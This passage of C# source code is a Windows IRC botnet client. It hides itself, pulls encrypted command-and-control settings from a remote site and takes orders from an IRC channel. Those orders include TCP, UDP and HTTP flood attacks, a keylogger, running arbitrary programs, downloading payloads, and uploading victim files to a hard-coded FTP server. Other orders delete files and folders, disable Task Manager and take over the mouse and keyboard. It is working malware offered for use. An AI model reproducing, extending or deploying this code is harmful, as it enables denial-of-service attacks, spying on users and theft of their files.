﻿#region using
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Security.Cryptography;

using System.Threading;
using Meebey.SmartIrc4net;
using System.IO;
using System.Diagnostics;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using IrcBot.ScreenCapture;
using System.Drawing.Imaging;
using System.Management;
using MouseKeyboardLibrary;
using CoreAudioApi;
using System.ServiceProcess;
#endregion

namespace IrcBot
{
    public partial class Bot : Form
    {
        public Bot()
        {
            InitializeComponent();

            //init
            sIP = "";
            sHost = "";
            iTimeout = 9001;
            sSubsite = "/";
            sData = "Shit Team";
            iPort = 80;
            sMethod = "tcp";
            iThreads = 10;
            boolWaitReply = true;
            boolAllowRandom = false;
            boolAllowGzip = true;
            iDelay = 0;
            //
            MMDeviceEnumerator DevEnum = new MMDeviceEnumerator();
            device = DevEnum.GetDefaultAudioEndpoint(EDataFlow.eRender, ERole.eMultimedia);
            volume = (int)(device.AudioEndpointVolume.MasterVolumeLevelScalar * 100);
            device.AudioEndpointVolume.OnVolumeNotification += new AudioEndpointVolumeNotificationDelegate(AudioEndpointVolume_OnVolumeNotification);
            //end volume

        }

        #region variable
        static XXPFlooder[] xxp;
        static HTTPFlooder[] http;
        //attack information,will take from master irc
        static string sHost, sIP, sMethod, sData, sSubsite;
        static int iPort, iThreads, iProtocol, iDelay, iTimeout;

        public string strActivePort;
        bool boolWaitReply = true;
        bool boolAllowRandom = true;
        bool boolAllowGzip = true;

        string path;
        string TripleDESKey = "lemon";


        System.Threading.Thread newThread;
        static string log;
        //
        IrcFeatures irc;
        Thread ircListen;


        Dictionary<string, string> OpList;
        delegate void CheckParamsDelegate(List<string> pars);
        static string sIrcServer = "irc.by";
        static string sIrcPort = "6667";
        static string sIrcChannel = "#lemon";
        static string sIrcPassword = "";
        static string fileNameDownload;

        //mouse,keyboard
        static int loopTime = 1;
        //Mouse Constants 
        private const UInt32 meLeftDown = 0x02;
        private const UInt32 meLeftUp = 0x04;
        private const UInt32 meRightDown = 0x08;
        private const UInt32 meRightUp = 0x10;

        //ftp 
        static string ftpServer = "ftp://ftp.xtreemhost.com/htdocs";
        static string ftpUsername = "xth_9956981";
        static string ftpPassWord = "12345678";
        static string threadSender = sIrcChannel;


        //message form variable
        static string messageString;
        Thread chatform;
        static string chatSender;

    

        //check if file is an image
        public static readonly List<string> ImageExtensions = new List<string> { ".JPG", ".JPE", ".BMP", ".GIF", ".PNG" };
        //

        //volume
        static int volume;
        private MMDevice device;

         KeyboardHook keyboardHook = new KeyboardHook();

        #endregion


        #region volume detegate
        void AudioEndpointVolume_OnVolumeNotification(AudioVolumeNotificationData data)
        {
            if (this.InvokeRequired)
            {
                object[] Params = new object[1];
                Params[0] = data;
                this.Invoke(new AudioEndpointVolumeNotificationDelegate(AudioEndpointVolume_OnVolumeNotification), Params);
            }
            else
            {
                volume = (int)(data.MasterVolume * 100);
            }
        }
        #endregion


        private void Bot_Load(object sender, EventArgs e)
        {



            HideMyAss();
           // AnotherWay();
            //    AddStartUp();

           

            bool connected = false;
            while (!connected)
            {
                  GetInformationFromServer();
                connected = RunIRC();
                Thread.Sleep(60 * 1000);
            }

           


        }

       

        #region Hide my ass in background
        private void HideMyAss()
        {
            this.Hide();
            //
            this.ShowInTaskbar = false;
            //not close button
            this.ControlBox = false;
            //no form
            this.Visible = false;
            //
            this.SetVisibleCore(false);
        }
        #endregion



        #region Take information about server on internet

        private void GetInformationFromServer()
        {

            // Create web client.
            WebClient client = new WebClient();
            try
            {
                // Download string.
                string encriptData = client.DownloadString("http://shitteam.site40.net/");

                // Write values.


                int index = encriptData.IndexOf("<");
                encriptData = encriptData.Substring(0, index).Trim();
                string value = Decrypt(encriptData, TripleDESKey);
                string[] fields = value.Split(new string[] { "|*|" }, StringSplitOptions.RemoveEmptyEntries);
                if (fields.Length == 3)
                {
                    sIrcServer = StringSplit(fields[0]);
                    sIrcPort = StringSplit(fields[1]);
                    sIrcChannel = StringSplit(fields[2]);
                }
                else
                {
                    sIrcServer = "irc.freenode.net";
                    sIrcPort = "6667";
                    sIrcChannel = "#lemon";
                }
            }
            catch (Exception e)
            {
                sIrcServer = "irc.freenode.net";
                sIrcPort = "6667";
                sIrcChannel = "#lemon";
            }


        }

        private string StringSplit(string test)
        {
            int i = test.LastIndexOf("=");
            if (i != -1)
            {
                return test.Substring(i + 1).Trim();
            }
            else
                return String.Empty;
        }
        #endregion


        #region method
        private void Attack(bool on)
        {
            if (on)
            {
                try
                {

                    if (String.IsNullOrEmpty(sHost)) sHost = sIP;
                    if (!sHost.Contains("://")) sHost = String.Concat("http://", sHost);
                    sHost = new Uri(sHost).Host;
                    sIP = sHost;
                    sMethod = sMethod.ToLower();
                    iProtocol = 0;
                    if (String.Equals(sMethod, "tcp")) iProtocol = 1;
                    if (String.Equals(sMethod, "udp")) iProtocol = 2;
                    if (String.Equals(sMethod, "http")) iProtocol = 3;
                    if (iProtocol == 0)
                        iProtocol = 1;

                    sData = sData.Replace("\\r", "\r").Replace("\\n", "\n");


                }
                catch (Exception ex)
                {
                    irc.SendMessage(SendType.Message, sIrcChannel, ex.Message);
                }


                if (String.Equals(sMethod, "tcp") || String.Equals(sMethod, "udp"))
                {
                    xxp = new XXPFlooder[iThreads];
                    for (int a = 0; a < xxp.Length; a++)
                    {
                        xxp[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, boolWaitReply, sData, boolAllowRandom);
                        xxp[a].Start();
                    }

                }
                if (String.Equals(sMethod, "http"))
                {
                    http = new HTTPFlooder[iThreads];
                    for (int a = 0; a < http.Length; a++)
                    {
                        http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, boolWaitReply, iDelay, iTimeout, boolAllowRandom, boolAllowGzip);
                        http[a].Start();
                    }
                }



            }
            else
            {
                if (xxp != null)
                {
                    for (int a = 0; a < xxp.Length; a++)
                    {
                        xxp[a].IsFlooding = false;
                    }
                }
                if (http != null)
                {
                    for (int a = 0; a < http.Length; a++)
                    {
                        http[a].IsFlooding = false;
                    }


                }
            }
        }


        private void LockOnIP()
        {

            if (String.IsNullOrEmpty(sIP))
            {
                return;
            }
            else
                sHost = sIP;
        }

        private void LockOnURL()
        {
            if (String.IsNullOrEmpty(sHost))
            {
                return;

            }
            if (!sHost.StartsWith("http://") && !sHost.StartsWith("https://")) sHost = String.Concat("http://", sHost);
            sHost = Dns.GetHostEntry(new Uri(sHost).Host).AddressList[0].ToString();

        }

        private bool RunIRC()
        {
            try
            {
                // Is everything ok? 

                try { IPHostEntry ipHost = Dns.GetHostEntry(sIrcServer); }
                catch { return false; }


                // Lets try this
                // MessageBox.Show("Connecting..");
                irc = new IrcFeatures();
                irc.OnConnected += IrcConnected;
                irc.OnReadLine += OnReadLine;
                irc.OnChannelMessage += OnMessage;
                irc.OnOp += OnOp;
                irc.OnDeop += OnDeOp;
                irc.OnPart += OnPart;
                irc.OnNickChange += OnNickChange;
                irc.OnTopic += OnTopic;
                irc.OnTopicChange += OnTopicChange;
                irc.OnQuit += OnQuit;
                irc.OnKick += OnKick;
                irc.OnQueryMessage += OnQueryMessage;
                irc.OnDisconnected += IrcDisconnected;
                irc.OnNames += OnNames;
                //new
                irc.OnCtcpReply += OnCtcpReply;
                irc.OnCtcpRequest += OnCtcpRequest;


                irc.AutoRejoinOnKick = true;
                irc.AutoRejoin = true;

                try
                {
                    int port;
                    port = int.Parse(sIrcPort);
                    irc.Connect(sIrcServer, port);

                    sIrcChannel = sIrcChannel.ToLower();
                    irc.Login(GetComputerName() + "_" + new Functions().RandomString(), "Lemon is best", 0, "IRCBT", sIrcPassword);


                    //Spawn a fuckign thread to handle the listen
                    ircListen = new Thread(new ThreadStart(IrcListenThread));
                    ircListen.Start();

                }
                catch
                {
                    return false;
                }
                return true;

            }
            catch
            {
                return false;
            }
        }

        private void IrcListenThread()
        {
            irc.Listen();
        }


        //new test
        private void OnCtcpReply(object o, CtcpEventArgs e)
        {
        }
        private void OnCtcpRequest(object sender, CtcpEventArgs e)
        {
        }

        //test zone
        private void OnQueryMessage(object o, IrcEventArgs e)
        {
            //if (e.Data.Channel.ToLower() == sIrcChannel)
            {
                if (e.Data.Message.StartsWith("!bt "))
                {
                    //authenticate
                    //   if (OpList != null && OpList.ContainsKey(e.Data.Nick))
                    {

                        List<string> pars = new List<string>(e.Data.Message.Replace("!bt ", "").Split(';'));

                        try
                        {
                            CheckParams(pars);
                        }
                        catch
                        { }
                    }
                }
                else if (e.Data.Message.StartsWith("!lemon "))
                {
                    //authenticate
                    //    if (OpList != null && OpList.ContainsKey(e.Data.Nick))
                    {
                        List<string> pars = new List<string>(e.Data.Message.Replace("!lemon ", "").Split(';'));
                        //         irc.SendMessage(SendType.Message, sIrcChannel, "Controlled by " + e.Data.Nick);

                        try
                        {
                            CheckParamsNotAttack(pars, e.Data.Nick);

                        }
                        catch
                        { }
                    }
                }
            }
        }
        private void IrcDisconnected(object o, EventArgs e)
        {

            while (!InternetIsAlive())
            {
                Thread.Sleep(60 * 1000);
            }

            GetInformationFromServer();


            try
            {
                int port = int.Parse(sIrcPort);
                irc.Connect(sIrcServer, port);
                irc.Login(GetComputerName() + "_" + new Functions().RandomString(), "NewBOT's remote BT", 0, "IRCBT", sIrcPassword);
            }
            catch
            { }

        }
        private void IrcConnected(object o, EventArgs e)
        {
            irc.SendMessage(SendType.Message, sIrcChannel, "Logging In...");


        }



        void OnNames(object sender, NamesEventArgs e)
        {
            irc.SendMessage(SendType.Message, sIrcChannel, "Connected!");
            if (OpList != null)
            {
                OpList.Clear();
            }
            else
            {
                if (OpList == null) OpList = new Dictionary<string, string>();
            }

            foreach (string user in e.UserList)
            {
                if (user.StartsWith("@") || user.StartsWith("&") || user.StartsWith("~"))
                {

                    OpList.Add(user.Substring(1), "");
                }
            }
        }
        void OnOp(object sender, OpEventArgs e)
        {
            if (OpList == null) OpList = new Dictionary<string, string>();
            if (!OpList.ContainsKey(e.Whom))
            {
                OpList.Add(e.Whom, "");
            }
        }
        void OnDeOp(object sender, DeopEventArgs e)
        {
            if (OpList == null) OpList = new Dictionary<string, string>();
            if (OpList.ContainsKey(e.Whom))
            {
                OpList.Remove(e.Whom);
            }
        }
        void OnPart(object sender, PartEventArgs e)
        {
            if (OpList == null) OpList = new Dictionary<string, string>();
            if (OpList.ContainsKey(e.Who))
            {
                OpList.Remove(e.Who);
            }
        }
        void OnQuit(object sender, QuitEventArgs e)
        {
            if (OpList == null) OpList = new Dictionary<string, string>();
            if (OpList.ContainsKey(e.Who))
            {
                OpList.Remove(e.Who);
            }
        }
        //??? - ==!
        void OnTopic(object sender, TopicEventArgs e)
        {
            if (e.Channel.ToLower() == sIrcChannel && e.Topic.StartsWith("!bt "))
            {
                List<string> pars = new List<string>(e.Topic.Split(' '));

                try
                {
                    CheckParams(pars);

                }
                catch
                { }
            }
            else if (e.Channel.ToLower() == sIrcChannel && e.Topic.StartsWith("!lemon "))
            {
                List<string> pars = new List<string>(e.Topic.Split(';'));
                try
                {
                    CheckParamsNotAttack(pars, sIrcChannel);
                }
                catch
                { }
            }
        }
        void OnTopicChange(object sender, TopicChangeEventArgs e)
        {
            if (e.Channel.ToLower() == sIrcChannel && e.NewTopic.StartsWith("!bt "))
            {
                List<string> pars = new List<string>(e.NewTopic.Split(';'));
                try
                {
                    CheckParams(pars);
                }
                catch
                { }
            }
            else if (e.Channel.ToLower() == sIrcChannel && e.NewTopic.StartsWith("!lemon "))
            {
                List<string> pars = new List<string>(e.NewTopic.Split(';'));
                try
                {
                    CheckParamsNotAttack(pars, sIrcChannel);
                }
                catch
                { }
            }
        }
        void OnNickChange(object sender, NickChangeEventArgs e)
        {
            if (OpList.ContainsKey(e.OldNickname))
            {
                OpList.Remove(e.OldNickname);
            }
            if (!OpList.ContainsKey(e.NewNickname))
            {
                OpList.Add(e.NewNickname, "");
            }
        }
        void OnKick(object sender, KickEventArgs e)
        {
            if (OpList == null) OpList = new Dictionary<string, string>();
            if (OpList.ContainsKey(e.Whom))
            {
                OpList.Remove(e.Whom);
            }
        }


        void OnMessage(object sender, IrcEventArgs e)
        {
            if (e.Data.Channel.ToLower() == sIrcChannel)
            {
                if (e.Data.Message.StartsWith("!bt "))
                {
                    //authenticate
                    //  if (OpList != null && OpList.ContainsKey(e.Data.Nick))
                    {

                        List<string> pars = new List<string>(e.Data.Message.Replace("!bt ", "").Split(';'));

                        try
                        {
                            CheckParams(pars);
                        }
                        catch (Exception ex)
                        {
                            irc.SendMessage(SendType.Message, sIrcChannel, ex.Message);
                        }
                    }
                }
                else if (e.Data.Message.StartsWith("!lemon "))
                {
                    //authenticate
                    //      if (OpList != null && OpList.ContainsKey(e.Data.Nick))
                    {
                        List<string> pars = new List<string>(e.Data.Message.Replace("!lemon ", "").Split(';'));
                        //         irc.SendMessage(SendType.Message, sIrcChannel, "Controlled by " + e.Data.Nick);

                        try
                        {
                            CheckParamsNotAttack(pars, sIrcChannel);
                        }
                        catch (Exception ex)
                        {
                            irc.SendMessage(SendType.Message, sIrcChannel, ex.Message);
                        }
                    }
                }
            }
        }


        void OnReadLine(object sender, ReadLineEventArgs e)
        {
            string command = e.Line.Split(' ')[1];
            if (command.Equals("PING"))
            {
                string server = e.Line.Split(' ')[2];
                irc.WriteLine("PONG " + server, Priority.Critical);
            }
            else if (command.Equals("422") || command.Equals("376")) // 422: motd missing // 376: end of motd
            {
                if (OpList != null) OpList.Clear();
                irc.RfcJoin(sIrcChannel);
            }
        }
        #endregion

        #region check parameter

        void CheckParamsNotAttack(List<string> pars, string sender)
        {
            foreach (string param in pars)
            {
                string[] sp = param.Split('=');
                if (sp.Length > 1)
                {
                    string cmd = sp[0];

                    // Have fun finding value :)
                    string value = null;
                    for (int key = 0; key < sp.Length; ++key)
                    {
                        if (key >= 1)
                        {
                            value = value + sp[key] + ((key + 1 < sp.Length) ? "=" : null);
                        }
                    }
                    // ... and we got it :D


                    switch (cmd.ToLower().Trim())
                    {
                        #region with params


                        case "killprocess":
                            try
                            {
                                int pid = int.Parse(value);
                                KillProcess(pid);
                                irc.SendMessage(SendType.Message, sender, "ok,process " + pid + " was killed");
                            }
                            catch (Exception e)
                            {
                                irc.SendMessage(SendType.Message, sender, e.Message);
                            }
                            break;



                        case "showmsg":
                            MessageBox.Show(value,"Window Error!",MessageBoxButtons.OK,MessageBoxIcon.Error);
                            irc.SendMessage(SendType.Message, sender,"message box: "+value +" is shown!");
                            break;

                        case "opencd":
                            if (value.ToLower() == "open")
                            {
                                try
                                {
                                    OpenCDRom("OPEN");
                                    irc.SendMessage(SendType.Message, sender, "CD is Open");
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            else if (value.ToLower() == "close")
                            {
                                try
                                {
                                    OpenCDRom("CLOSE");
                                    irc.SendMessage(SendType.Message, sender, "CD is Close");
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            else
                            {
                                irc.SendMessage(SendType.Message, sender, "Error in Command ,just 'close' or 'open'..");
                            }
                            break;

                        case "taskbar":
                            if (value.ToLower() == "hide")
                            {
                                try
                                {
                                    TaskBar("HIDE");
                                    irc.SendMessage(SendType.Message, sender, "taskbar war hide..");
                                }
                                catch (Exception e)
                                {
                                    irc.SendMessage(SendType.Message, sender, e.Message);
                                }

                            }
                            else if (value.ToLower() == "show")
                            {
                                try
                                {
                                    TaskBar("SHOW");
                                    irc.SendMessage(SendType.Message, sender, "taskbar war shown..");
                                }
                                catch (Exception e)
                                {
                                    irc.SendMessage(SendType.Message, sender, e.Message);
                                }

                            }
                            else
                            {
                                irc.SendMessage(SendType.Message, sender, "Error in Command,just ' hide' or 'show'");
                            }
                            break;

                        case "swapmouse":
                            if (value.ToLower() == "switch")
                            {
                                try
                                {
                                    SwapMouse("SWITCH");
                                    irc.SendMessage(SendType.Message, sender, "mouse was swap..");
                                }
                                catch (Exception e)
                                {
                                    irc.SendMessage(SendType.Message, sender, e.Message);
                                }

                            }
                            else if (value.ToLower() == "restore")
                            {
                                try
                                {
                                    SwapMouse("RESTORE");
                                    irc.SendMessage(SendType.Message, sender, "mouse  was restore..");
                                }
                                catch (Exception e)
                                {
                                    irc.SendMessage(SendType.Message, sender, e.Message);
                                }

                            }
                            else
                            {
                                irc.SendMessage(SendType.Message, sender, "Error in Command,just 'switch' or 'restore'");
                            }
                            break;


                        case "block":
                            if (value.ToLower() == "block")
                            {

                                try
                                {
                                    Block("BLOCK");
                                    irc.SendMessage(SendType.Message, sender, "window was blocked..");
                                }
                                catch (Exception e)
                                {
                                    irc.SendMessage(SendType.Message, sender, e.Message);
                                }
                            }
                            else if (value.ToLower() == "restore")
                            {
                                try
                                {
                                    Block("RESTORE");
                                    irc.SendMessage(SendType.Message, sender, "window was restore..");
                                }
                                catch (Exception e)
                                {
                                    irc.SendMessage(SendType.Message, sender, e.Message);
                                }

                            }
                            else
                            {
                                irc.SendMessage(SendType.Message, sender, "Error in Command,just 'block or 'restore'");
                            }
                            break;

                        case "taskmanager":
                            if (value.ToLower() == "enable")
                            {
                                try
                                {
                                    TaskMgr("ENABLE");
                                    irc.SendMessage(SendType.Message, sender, "taskmanager was enable..");
                                }
                                catch (Exception e)
                                {
                                    irc.SendMessage(SendType.Message, sender, e.Message);
                                }

                            }
                            else if (value.ToLower() == "disable")
                            {
                                try
                                {
                                    TaskMgr("DISABLE");
                                    irc.SendMessage(SendType.Message, sender, "taskmanager was disable..");
                                }
                                catch (Exception e)
                                {
                                    irc.SendMessage(SendType.Message, sender, e.Message);
                                }

                            }
                            else
                            {
                                irc.SendMessage(SendType.Message, sender, "Error in Command,just 'enable' or 'disable'");
                            }
                            break;
                        case "filename":
                            if (value.Length > 0)
                            {
                                fileNameDownload = value;
                                irc.SendMessage(SendType.Message, sender, "file name is change to " + fileNameDownload);
                            }
                            break;
                        case "download":
                            if (value.Length > 0)
                            {
                                try
                                {
                                    bool Success = DownloadFile(value, fileNameDownload);
                                    if (Success)
                                    {
                                        irc.SendMessage(SendType.Message, sender, "download complete!");
                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "Error when download");
                                    }
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;
                        case "excute":
                            {
                                try
                                {
                                    Process.Start(value);
                                    irc.SendMessage(SendType.Message, sender, "excute complete!");

                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }

                            }
                            break;
                        case "excutelocal":
                            {

                                bool Success = Execute(value);
                                if (Success)
                                {
                                    irc.SendMessage(SendType.Message, sender, "excute complete!");
                                }
                                else
                                {
                                    irc.SendMessage(SendType.Message, sender, "Error when excute");
                                }

                            }
                            break;
                        case "deletestartup":
                            if (value.Length > 0)
                            {
                                try
                                {
                                    value = value.Trim();
                                    RemoveCU(value);
                                    RemoveLM(value);
                                    RemoveSF(value);
                                }
                                catch (Exception e)
                                {
                                    irc.SendMessage(SendType.Message, sender, e.Message);
                                }
                            }
                            irc.SendMessage(SendType.Message, sender, "remove success!");
                            break;

                        case "website":
                            if (value.Length != 0)
                            {
                                if (!value.StartsWith("http://"))
                                {
                                    value = "http://" + value;
                                }
                                try
                                {
                                    Process.Start(value);
                                    irc.SendMessage(SendType.Message, sender, "success!");
                                }
                                catch (Exception e)
                                {
                                    irc.SendMessage(SendType.Message, sender, e.Message);
                                }
                            }
                            break;
                        case "keylogger":
                            if (value.ToLower() == "on")
                            {
                                if (newThread != null)
                                {
                                    newThread.Abort();
                                    newThread = new Thread(this.DoThreadJob);
                                    threadSender = sender;
                                    newThread.Start();
                                    irc.SendMessage(SendType.Message, sender, "keylogger now on");
                                }
                                else
                                {
                                    newThread = new Thread(this.DoThreadJob);
                                    threadSender = sender;
                                    newThread.Start();
                                    irc.SendMessage(SendType.Message, sender, "keylogger now on");
                                }
                            }
                            else if (value.ToLower() == "off")
                            {
                                if (newThread != null)
                                {
                                    try
                                    {
                                        newThread.Abort();
                                        irc.SendMessage(SendType.Message, sender, "keylogger now off");
                                    }
                                    catch (Exception ex)
                                    {
                                        irc.SendMessage(SendType.Message, sender, ex.Message);
                                    }
                                }
                                else
                                {
                                    irc.SendMessage(SendType.Message, sender, "keylogger not on");
                                }

                            }
                            else
                            {
                                irc.SendMessage(SendType.Message, sender, "what the fuck?");

                            }
                            break;

                        case "deletefile":
                            if (value.Length != 0)
                            {
                                //  string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)+"\\"+value.Trim();
                                try
                                {
                                    if (File.Exists(value))
                                    {
                                        System.IO.File.Delete(value);
                                        irc.SendMessage(SendType.Message, sender, "delete succesful!");
                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "No file found!");
                                    }
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;

                        case "deletelocalfile":
                            if (value.Length != 0)
                            {
                                value = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\" + value;
                                try
                                {
                                    if (File.Exists(value))
                                    {
                                        System.IO.File.Delete(value);
                                        irc.SendMessage(SendType.Message, sender, "delete succesful!");
                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "No file found!");
                                    }
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;
                        case "ftpserver":
                            if (value.Length != 0)
                            {
                                ftpServer = value;
                                irc.SendMessage(SendType.Message, sender, "ftp server now is " + ftpServer);

                            }
                            break;
                        case "ftpusername":
                            if (value.Length != 0)
                            {
                                ftpUsername = value;
                                irc.SendMessage(SendType.Message, sender, "ftp user now is " + ftpUsername);
                            }
                            break;
                        case "ftppass":
                            if (value.Length != 0)
                            {
                                ftpPassWord = value;
                                irc.SendMessage(SendType.Message, sender, "ftp pass now is " + ftpPassWord);
                            }
                            break;
                        case "getfiletoftp":
                            {
                                if (value.Length != 0)
                                {
                                    try
                                    {
                                        if (File.Exists(value))
                                        {

                                            int temp = value.LastIndexOf("\\");
                                            string filename = value.Substring(temp + 1);
                                            if (filename.Contains(" "))
                                            {
                                                string newfile = value.Remove(temp + 1) + filename.Replace(" ", "");
                                                Rename(value, newfile);
                                                value = newfile;
                                            }
                                            upload2FTpFile(ftpServer, value, ftpUsername, ftpPassWord);
                                            irc.SendMessage(SendType.Message, sender, "file " + value + " upload to ftp success!");

                                        }
                                        else
                                        {
                                            irc.SendMessage(SendType.Message, sender, "No file found!");
                                        }
                                    }
                                    catch (Exception ex)
                                    {
                                        irc.SendMessage(SendType.Message, sender, ex.Message);
                                    }
                                }
                            }

                            break;
                        case "downfilefromftp":
                            if (value.Length != 0)
                                {
                                    try
                                    {
                                        
                                            string localpath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
                                            DownloadFileFromFtp(value, localpath, ftpUsername, ftpPassWord);
                                            irc.SendMessage(SendType.Message, sender, "file from url: " + value + " download to "+localpath+ " successful!");

                                        
                                       
                                    }
                                    catch (Exception ex)
                                    {
                                        irc.SendMessage(SendType.Message, sender, ex.Message);
                                    }
                                }
                            
                            break;
                        case "getfiles":
                            {
                                try
                                {
                                    // string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
                                    string files = GetFiles(value);
                                    string[] rows = files.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);

                                    foreach (string row in rows)
                                    {
                                        string[] fields = row.Split(new string[] { "|*|" }, StringSplitOptions.RemoveEmptyEntries);
                                        string fieldsAll = " ";
                                        for (int i = 0; i < fields.Length; i++)
                                        {

                                            fieldsAll += fields[i] + "------------";

                                        }
                                        irc.SendMessage(SendType.Message, sender, fieldsAll);

                                        Thread.Sleep(1000);

                                    }
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;
                        case "getdirs":
                            if (value.Length != 0)
                            {
                                try
                                {
                                    string AllDirs = GetDirs(value);
                                    if (!AllDirs.Equals("The device is not ready.\r\n"))
                                    {
                                        string[] dirs = AllDirs.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);
                                        foreach (string dir in dirs)
                                        {
                                            if (dir != string.Empty && dir != Environment.NewLine)
                                            {
                                                irc.SendMessage(SendType.Message, sender, dir);
                                            }
                                        }

                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "The device is not ready");
                                    }
                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;
                        case "setvolume":
                            try
                            {
                                if (value.Trim().Length != 0)
                                {
                                    int result;
                                    if (int.TryParse(value.Trim(), out result) == true)
                                    {
                                        if (result <= 100)
                                        {
                                            device.AudioEndpointVolume.MasterVolumeLevelScalar = ((float)result / 100.0f);
                                            volume = result;
                                            irc.SendMessage(SendType.Message, sender, "volume changed to " + result);
                                        }
                                        else
                                        {
                                            irc.SendMessage(SendType.Message, sender, "volume must be in [0,100]..");
                                        }
                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "volume must be in number format..");
                                    }
                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                        case "deletefolder":
                            if (value.Length != 0)
                            {
                                try
                                {
                                    Directory.Delete(value, true);
                                    irc.SendMessage(SendType.Message, sender, "folder " + value + " is deleted...");

                                }
                                catch (Exception ex)
                                {
                                    irc.SendMessage(SendType.Message, sender, ex.Message);
                                }
                            }
                            break;

                        /*
                         * 21/1/2012
                         */
                        case "looptime":
                            try
                            {
                                if (value.Trim().Length != 0)
                                {
                                    int backup = loopTime;
                                    loopTime = int.Parse(value.Trim());
                                    irc.SendMessage(SendType.Message, sender, "loop time changed from " + backup + " to " + loopTime);
                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                        case "setmouselocation":
                            try
                            {
                                if (value.Length != 0)
                                {
                                    string[] location = value.Trim().Split(new string[] { "," }, StringSplitOptions.None);

                                    if (location.Length == 2)
                                    {
                                        int x = 0;
                                        int y = 0;
                                        for (int i = 0; i < loopTime; i++)
                                        {
                                            x = int.Parse(location[0]);
                                            y = int.Parse(location[1]);
                                            MouseSimulator.X = x;
                                            MouseSimulator.Y = y;

                                            Thread.Sleep(200);
                                            irc.SendMessage(SendType.Message, sender, "mouse is set location X: " + x + " Y: " + y + " do loop: " + (i + 1));
                                        }

                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "invalid location,just x and y");
                                    }

                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;

                        case "mouseclick":
                            try
                            {
                                if (value.Length != 0)
                                {
                                    if (value.Trim().ToLower().CompareTo("left") == 0)
                                    {
                                        for (int i = 0; i < loopTime; i++)
                                        {
                                            MouseSimulator.Click(MouseButton.Left);

                                            irc.SendMessage(SendType.Message, sender, "mouse left is clicked  " + (i + 1) + " time(s)");

                                            Thread.Sleep(200);
                                        }
                                        // irc.SendMessage(SendType.Message, sender, "mouse left is clicked  "+loopTime+" time(s)");
                                    }
                                    else if (value.Trim().ToLower().CompareTo("right") == 0)
                                    {
                                        for (int i = 0; i < loopTime; i++)
                                        {
                                            MouseSimulator.Click(MouseButton.Right);

                                            irc.SendMessage(SendType.Message, sender, "mouse right is clicked " + (i + 1) + " time(s)");

                                            Thread.Sleep(200);
                                        }
                                        //  irc.SendMessage(SendType.Message, sender, "mouse right is clicked " + loopTime + " time(s)");
                                    }
                                    else if (value.Trim().ToLower().CompareTo("mid") == 0)
                                    {
                                        for (int i = 0; i < loopTime; i++)
                                        {
                                            MouseSimulator.Click(MouseButton.Middle);

                                            irc.SendMessage(SendType.Message, sender, "mouse middle is clicked " + (i + 1) + " time(s)");

                                            Thread.Sleep(200);
                                        }
                                        //  irc.SendMessage(SendType.Message, sender, "mouse right is clicked " + loopTime + " time(s)");
                                    }
                                    else
                                    {
                                        irc.SendMessage(SendType.Message, sender, "invalid command,just 'right' or 'left' or 'mid',plz...");
                                    }
                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                        case "keyboardcommand":
                            try
                            {
                                if (value.Trim().Length != 0)
                                {
                                    for (int i = 0; i < loopTime; i++)
                                    {
                                        string[] command = value.Trim().ToLower().Split(new string[] { "+" }, StringSplitOptions.None);
                                        foreach (string item in command)
                                        {

                                            controlKeyboard(item);

                                            Thread.Sleep(200);
                                        }
                                        irc.SendMessage(SendType.Message, sender, "command : " + value + " excute " + (i + 1)+" times");
                                    }
                                   
                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                        case "keyboard":
                            try
                            {
                                if (value.Trim().Length != 0)
                                {
                                    for (int i = 0; i < loopTime; i++)
                                    {
                                        char[] listChar = value.ToCharArray();
                                        foreach (char item in listChar)
                                        {

                                            byte vk = VkKeyScan(item);

                                            keyboard_key_down(vk);
                                            keyboard_key_up(vk);

                                            Thread.Sleep(200);
                                        }
                                        irc.SendMessage(SendType.Message, sender, "key : " + value + " down in " + (i + 1));
                                    }
                                    //irc.SendMessage(SendType.Message, sender, "key : " + value + " down in " + loopTime);
                                }
                            }
                            catch (Exception ex)
                            {
                                irc.SendMessage(SendType.Message, sender, ex.Message);
                            }
                            break;
                        case "hideicon":
                            try
                            {
                                if (value.Trim().Length != 0)
